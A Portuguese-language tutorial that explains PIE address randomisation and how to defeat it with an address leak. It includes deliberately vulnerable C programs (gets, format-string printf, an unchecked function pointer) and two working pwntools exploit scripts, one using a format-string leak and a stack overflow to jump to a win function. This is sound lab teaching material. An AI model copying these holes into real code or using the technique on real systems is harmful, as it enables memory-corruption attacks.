PIE
Position Independent Executable ou PIE
é uma técnica de compilação que permite que um executável seja carregado em endereços aleatórios na memória. Isso dificulta alguns exploits que é preciso obter endereços vulneráveis no programa, já que o endereço irá mudar a cada execução.
Demonstração
#include <stdio.h>
int main()
{
printf ("%p", main);
return 0;
}
Esse código apenas imprime o endereço da função main
e é possível utilizar esse programa para ver o funcionamento do PIE
.
Sem PIE:
Compilando esse programa usando o comando gcc -no-pie <código> -o <executável>
e executando ele algumas vezes é possível observar que o endereço da main
se mantém o mesmo em todas as execuções.
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ gcc -no-pie main.c -o exec
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ checksec exec
[*] '/home/ata/Documents/exec'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x401126
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x401126
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x401126
Com PIE:
Compilando o programa usando o comando gcc -o <executável> <código>
e executando ele algumas vezes é possível observar que o endereço da main
sempre altera a cada execução.
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ gcc -o exec main.c
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ checksec exec
[*] '/home/ata/Documents/exec'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x55eb5064c139
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x563b72644139
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x5647f2a9d139
Exploit
Para podermos exploitar o PIE
podemos explorar a forma em que o PIE
coloca o código executável na memória. O PIE
ele vai aleatorizar a página na memória que contém o executável, desse modo o endereço base (primeiro endereço do programa) sempre irá terminar com 000
e os demais endereços sempre vão ter o mesmo deslocamento em relação ao endereço base. Portanto, se conseguirmos acesso a um endereço do programa e seu deslocamento, poderemos calcular o endereço base e todos os outros endereços a partir daí.
No exemplo anterior, se observamos todos os endereços da main terminam em 0x139
, e olhando o código no pwndbg conseguimos observar que o deslocamento da main em relação ao endereço base é 0x1139
.
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000001139 <+0>: push rbp
0x000000000000113a <+1>: mov rbp,rsp
0x000000000000113d <+4>: lea rax,[rip+0xfffffffffffffff5] # 0x1139 <main>
0x0000000000001144 <+11>: mov rsi,rax
0x0000000000001147 <+14>: lea rax,[rip+0xeb6] # 0x2004
0x000000000000114e <+21>: mov rdi,rax
0x0000000000001151 <+24>: mov eax,0x0
0x0000000000001156 <+29>: call 0x1030 <printf@plt>
0x000000000000115b <+34>: mov eax,0x0
0x0000000000001160 <+39>: pop rbp
0x0000000000001161 <+40>: ret
End of assembler dump.
Com isso, se, por exemplo, o endereço impresso no programa for 0x5647f2a9d139
e sabemos que o deslocamento da main em relação ao endereço base é 0x1139
, podemos fazer 0x5647f2a9d139 - 0x1139
e obter 0x5647f2a9c000
como o endereço base do programa.
Portanto, a ideia do exploit é obter algum endereço que sabemos o deslocamento em relação ao endereço base e então calcular o endereço base e todos os outros endereços que nos interessam.
Exemplo 1: Endereço dado pelo programa
Nesse primeiro exemplo iremos analisar como fazer o exploit em um programa que dá ao usuário o endereço da função main
e pede para ele obter o endereço da função win
.
#include <stdio.h>
int main()
{
func();
return 0;
}
void func()
{
void (*p)();
printf ("A main está no endereco: %p", main);
printf ("\nQual o endereço da função win?\n");
scanf ("%p", &p);
p();
}
void win()
{
printf("\nParabéns, Você encontrou a função win.");
}
Usando pwndbg conseguimos observar o deslocamento da função main
e o deslocamento da função win
.
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000001159 <+0>: push rbp
0x000000000000115a <+1>: mov rbp,rsp
0x000000000000115d <+4>: mov eax,0x0
0x0000000000001162 <+9>: call 0x116e <func>
0x0000000000001167 <+14>: mov eax,0x0
0x000000000000116c <+19>: pop rbp
0x000000000000116d <+20>: ret
End of assembler dump.
pwndbg> disass win
Dump of assembler code for function win:
0x00000000000011cc <+0>: push rbp
0x00000000000011cd <+1>: mov rbp,rsp
0x00000000000011d0 <+4>: lea rax,[rip+0xe79] # 0x2050
0x00000000000011d7 <+11>: mov rdi,rax
0x00000000000011da <+14>: call 0x1030 <puts@plt>
0x00000000000011df <+19>: nop
0x00000000000011e0 <+20>: pop rbp
0x00000000000011e1 <+21>: ret
End of assembler dump.
Com esse valores, podemos executar o programa e realizar os cálculos necessários para conseguir obter o endereço da função win
.
$ ./exec
A main está no endereco: 0x55e8b0a95159
Qual o endereço da função win?
55e8b0a951cc
Parabéns, Você encontrou a função win.
O endereço fornecido pelo programa foi 0x55e8b0a95159
, esse é o endereço da main
, como sabemos que o deslocamento da main
é 0x1159
, basta subtrair o endereço fornecido por esse deslocamento. Então, fazendo 0x55e8b0a95159 - 0x1159
obtemos o endereço base que é 0x55e8b0a94000
. Como o deslocamento da função win
é 0x11cc
, só precisamos fazer 0x55e8b0a94000 + 0x11cc
para obter o endereço da função win
, que será 0x55e8b0a951cc
. Portanto, ao colocar esse valro no programa é impresso a string da função win
.
A seguir há um código em python para realizar os cálculos necessário para resolver esse exercício.
from pwn import *
# Criando o processo
elf = context.binary = ELF('./Exemplo1')
p = process()
# Pegando o endereço fornecido pelo programa e colocando na variável "main"
p.recvuntil(b'endereco: ')
main = int(p.recvline(), 16)
# Definindo o endereço base subtraindo o deslocamento da função main com o endereço obtido anteriormente
elf.address = main - 0x1159
# Pegando o endereço da função "win"
# Como definimos o elf.address com o endereço base, não é preciso realizar nenhum cálculo para obter esse endereço
payload = hex(elf.sym['win'])
payload = bytes(payload, 'utf-8')
print()
print(payload)
# Enviando o payload
p.recvuntil(b'win?\n')
p.sendline(payload)
# Imprimindo o resultado
print(p.clean().decode())
Executando esse programa, obtemos o seguinte resultado.
[*] '/home/ata/Documents/PIE/Exemplo 1/Exemplo1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/ata/Documents/PIE/Exemplo 1/Exemplo1': pid 34529
b'0x56076934a1cc'
[*] Process '/home/ata/Documents/PIE/Exemplo 1/Exemplo1' stopped with exit code 0 (pid 34529)
Parabéns, Você encontrou a função win.
Exemplo 2: Format String Bug
Nesse exemplo iremos analisar um programa em que será necessário utilizar o format string bug para descobrir algum endereço para realizar o exploit e depois utilizar o valor descoberto para fazer um buffer overflow.
#include <stdio.h>
void vuln()
{
char buffer[40];
printf ("Qual o seu nome?\n");
gets(buffer);
printf("Bem Vindo ");
printf(buffer);
printf("\nQual sua mensagem?\n");
gets(buffer);
}
int main()
{
vuln();
return 0;
}
void win()
{
puts("\nParabéns, Você conseguiu exploitar o PIE.");
}
Analisando o programa, conseguimos ver que é chamada a função vuln
na main
e então é pego um input do usuário que é imprimido logo em seguida com um printf
vulnerável e então depois é pego outro input do buffer com o últimos gets
. Como a função vuln
é chamada pela main
, o endereço de retorno à main
deve estar na pilha, então podemos utilizar o format string bug para vazar esse endereço da main
.
O endereço de retorna de função que está na pilha irá conter o endereço depois da chamada da função vuln
na main
, então podemos olhar no pwndbg para saber qual o deslocamento desse endereço.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000000011c9 <+0>: push rbp
0x00000000000011ca <+1>: mov rbp,rsp
0x00000000000011cd <+4>: mov eax,0x0
0x00000000000011d2 <+9>: call 0x1159 <vuln>
0x00000000000011d7 <+14>: mov eax,0x0
0x00000000000011dc <+19>: pop rbp
0x00000000000011dd <+20>: ret
End of assembler dump.
O endereço que procuramos tem o valor 0x11d7
de deslocamento, então temos que procurar algum valor na pilha que tenha valor. Então, agora temos que rodar o programa e utilizar o formato %p
para imprimir os valores da pilha.
┌──(ata㉿vBoxKali)-[~/Documents/PIE/Exemplo 2]
└─$ ./Exemplo2
Qual o seu nome?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Bem Vindo 0x646e6956206d6542 (nil) (nil) 0x55f6150506dd (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7f0070252070 0x7ffdfcc63250 0x55f614d9f1d7 0x1 0x7fdab4b83c8a
Qual sua mensagem?
Conseguimos observar um valor 0x55f614d9f1d7
no 13° argumento que termina com o deslocamento encontrado anteriormente, então esse endereço deve ser o endereço de retorno da main
. Com isso, podemos colocar um breakpoint utilizando pwndbg depois de qualquer endereço depois de imprimir o buffer fornecido pelo usuário e antes do segundo gets
. Quando atingirmos esse breakpoint, podemos utilizar um comando para mostrar a pilha de execução.
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x0000000000001159 <+0>: push rbp
0x000000000000115a <+1>: mov rbp,rsp
0x000000000000115d <+4>: sub rsp,0x30
0x0000000000001161 <+8>: lea rax,[rip+0xea0] # 0x2008
0x0000000000001168 <+15>: mov rdi,rax
0x000000000000116b <+18>: call 0x1030 <puts@plt>
0x0000000000001170 <+23>: lea rax,[rbp-0x30]
0x0000000000001174 <+27>: mov rdi,rax
0x0000000000001177 <+30>: mov eax,0x0
0x000000000000117c <+35>: call 0x1050 <gets@plt>
0x0000000000001181 <+40>: lea rax,[rip+0xe91] # 0x2019
0x0000000000001188 <+47>: mov rdi,rax
0x000000000000118b <+50>: mov eax,0x0
0x0000000000001190 <+55>: call 0x1040 <printf@plt>
0x0000000000001195 <+60>: lea rax,[rbp-0x30]
0x0000000000001199 <+64>: mov rdi,rax
0x000000000000119c <+67>: mov eax,0x0
0x00000000000011a1 <+72>: call 0x1040 <printf@plt>
0x00000000000011a6 <+77>: lea rax,[rip+0xe77] # 0x2024
0x00000000000011ad <+84>: mov rdi,rax
0x00000000000011b0 <+87>: call 0x1030 <puts@plt>
0x00000000000011b5 <+92>: lea rax,[rbp-0x30]
0x00000000000011b9 <+96>: mov rdi,rax
0x00000000000011bc <+99>: mov eax,0x0
0x00000000000011c1 <+104>: call 0x1050 <gets@plt>
0x00000000000011c6 <+109>: nop
0x00000000000011c7 <+110>: leave
0x00000000000011c8 <+111>: ret
End of assembler dump.
pwndbg> break *vuln+99
Breakpoint 1 at 0x11bc
pwndbg> r
Starting program: /home/ata/Documents/PIE/Exemplo 2/Exemplo2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Qual o seu nome?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Bem Vindo 0x646e6956206d6542 (nil) (nil) 0x5555555596dd (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7f0070252070 0x7fffffffe1a0 0x5555555551d7 0x1 0x7ffff7decc8a
Qual sua mensagem?
Breakpoint 1, 0x00005555555551bc in vuln ()
pwndbg> x/40x $sp
0x7fffffffe160: 0x25207025 0x70252070 0x20702520 0x25207025
0x7fffffffe170: 0x70252070 0x20702520 0x25207025 0x70252070
0x7fffffffe180: 0x20702520 0x25207025 0x70252070 0x00007f00
0x7fffffffe190: 0xffffe1a0 0x00007fff 0x555551d7 0x00005555
0x7fffffffe1a0: 0x00000001 0x00000000 0xf7decc8a 0x00007fff
0x7fffffffe1b0: 0xffffe2a0 0x00007fff 0x555551c9 0x00005555
0x7fffffffe1c0: 0x55554040 0x00000001 0xffffe2b8 0x00007fff
0x7fffffffe1d0: 0xffffe2b8 0x00007fff 0xd8008116 0x41fcdacd
0x7fffffffe1e0: 0x00000000 0x00000000 0xffffe2c8 0x00007fff
0x7fffffffe1f0: 0xf7ffd000 0x00007fff 0x55557dd8 0x00005555
Nessa pilha podemos ver vários valores 0x252070
que correspondem ao diversos %p
dados como input anteriormente e o valor 0x555551d7 0x00005555
, que é o valor de retorno da main
. Então, podemos ver que há 56 bytes de diferença entre esse valor e o começo do buffer.
Depois de toda essa análise, podemos fazer um código em python para resolver este exemplo, como é mostrado a seguir.
from pwn import *
# Criando o processo
elf = context.binary = ELF('./Exemplo2')
p = process()
# Vazando o endereço da pilha
p.recvuntil(b'nome?\n')
p.sendline(b'%13$p')
# Colocando esse valor na variável "elf_leak""
p.recvuntil(b'Vindo ')
elf_leak = int(p.recvline(), 16)
print('\nValor Vazado da pilha: ' + str(hex(elf_leak)))
# Definindo o endereço base
elf.address = elf_leak - 0x11d7
print('\nEndereço base: ' + str(hex(elf.address)))
# Setando o payload com 56 caracteres e o endereço da função win
payload = b'a' * 56
payload += p64(elf.sym['win'])
print('\nEndereço da função win: ' + str(hex(elf.sym['win'])))
print()
print(payload)
# Enviando o payload
p.recvuntil(b'mensagem?\n')
p.sendline(payload)
# Mostrando o Resultado
print(p.clean().decode())
Resultado mostrado após a execução do programa.
┌──(ata㉿vBoxKali)-[~/Documents/PIE/Exemplo 2]
└─$ python Exemplo2-solve.py
[*] '/home/ata/Documents/PIE/Exemplo 2/Exemplo2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/ata/Documents/PIE/Exemplo 2/Exemplo2': pid 260031
Valor Vazado da pilha: 0x5587c77af1d7
Endereço base: 0x5587c77ae000
Endereço da função win: 0x5587c77af1de
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xde\xf1z\xc7\x87U\x00\x00'
Parabéns, Você conseguiu exploitar o PIE.
[*] Stopped process '/home/ata/Documents/PIE/Exemplo 2/Exemplo2' (pid 260031)
Referências
Atualizado